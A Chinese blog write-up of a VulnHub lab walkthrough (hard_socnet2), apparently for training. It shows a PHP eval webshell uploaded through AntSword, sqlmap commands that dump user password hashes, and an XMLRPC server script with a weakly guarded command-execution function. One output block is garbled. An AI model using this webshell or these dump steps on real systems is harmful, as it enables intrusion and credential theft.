红队打靶之VulnHub_hard_socnet2
Created At :
Views 👀 :
我曾在很多地方表达过一个观点,那就是渗透不只是WEB渗透,安全技术还包含很多领域。
因此本周我选择了一台高难度的靶机,具体涉及逆向、动态调试、代码审计、漏洞利用代码编写等内容。
课程时长超过140分钟,请大家做好克服困难的准备!
靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
难度等级: 高
打靶目标: 取得 root 权限
参考链接:
https://docs.python.org/zh-cn/3/library/xmlrpc.html
涉及攻击方法:
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写
主机发现
文件上传
#https://www.yuque.com/antswordproject/antsword/mqgcsn 蚁剑使用手册
新创建一个webshell文件并上传
1
| <?php eval($_POST['ant']); ?>
|
蚁剑上线
拿下shell
sql注入
bp抓包
1 2 3 4 5 6 7 8
|
vi r # 新文件
sqlmap -r r -p query
|
sqlmap -r r -p query –dbs
sqlmap -r r -p query -D socialnetwork –tables
sqlmap -r r -p query -D socialnetwork -T users –columns
sqlmap -r r -p query -D socialnetwork -T users -C user_password,user_email –dump
看到一堆hash
自动帮我们解密
1 2 3 4 5 6 7 8 9
| 4 entries] +---------------------------------------------+------------------------+ | user_password | user_email | +---------------------------------------------+------------------------+ | 202cb962ac59075b964b07152d234b70 (123) | admin@1.com | | 202cb962ac59075b964b07152d234b70 (123) | admin@123.com | | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin@localhost.com | | 5d9c68c6c50ed3d02a2fcf54f63993b6 (testuser) | testuser@localhost.com | +---------------------------------------------+------------------------+
|
1 2 3 4 5 6 7
| lsb——release -a No LSB modules are available. Distributor ID:Ubuntu Ubuntu 18.04.1 LTSDescription: 18.04 Release: codename :bionica.natalugr'uhtm]idsts/imgnocinrofi1gc)
|
查看一下 monitor.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| my remote server management API import SimpleXMLRPCServer import subprocess import random debugging_pass = random.randint(1000,9999) def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return output def cpu(): return runcmd("cat /proc/cpuinfo") def mem(): return runcmd("free -m")
def disk(): return runcmd("df -h")
def net(): return runcmd("ip a")
def secure_cmd(cmd,passcode): if passcode==debugging_pass: return runcmd(cmd) else: return "Wrong passcode." server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) server.register_function(cpu) server.register_function(mem) server.register_function(disk) server.register_function(net) server.register_function(secure_cmd) server.serve_forever()
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com